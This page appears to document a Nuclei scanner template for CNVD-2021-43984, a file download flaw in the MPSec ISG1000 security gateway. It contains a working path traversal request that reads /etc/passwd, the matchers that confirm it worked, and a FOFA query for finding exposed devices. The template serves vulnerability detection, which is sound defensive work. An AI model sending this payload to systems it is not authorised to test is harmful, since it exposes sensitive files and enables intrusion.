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MPSec ISG1000 Security Gateway - Arbitrary File Download

ID: CNVD-2021-43984

Severity: high

Author: DhiyaneshDk

Tags: cnvd2021,cnvd,mpsec,maipu,lfi,isg

Description

Section titled “Description”

The MPSec ISG1000 safety gateway at MP Communications Technology Co., Ltd. has any file download loophole, and attackers can use the loophole to obtain sensitive information.

YAML Source

Section titled “YAML Source”
id: CNVD-2021-43984


info:
  name: MPSec ISG1000 Security Gateway - Arbitrary File Download
  author: DhiyaneshDk
  severity: high
  description: |
    The MPSec ISG1000 safety gateway at MP Communications Technology Co., Ltd. has any file download loophole, and attackers can use the loophole to obtain sensitive information.
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-43984
    - https://github.com/chaitin/xray/blob/master/pocs/mpsec-isg1000-file-read.yml
  metadata:
    verified: true
    max-request: 1
    fofa-query: "迈普通信技术股份有限公司"
  tags: cnvd2021,cnvd,mpsec,maipu,lfi,isg


http:
  - method: GET
    path:
      - "{{BaseURL}}/webui/?g=sys_dia_data_down&file_name=../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: word
        part: header
        words:
          - "text/plain"
          - "USGSESSID="
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c7e7954c0d2a2eccf6460b6081fc4e9ae1c225eb21c404e32f103569dfe7b5a902207e3b8c49a81d414a00719b6468b60e6eb59627a9dff1c24cff31d33c4a09fd8c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cnvd/2021/CNVD-2021-43984.yaml"

View on Github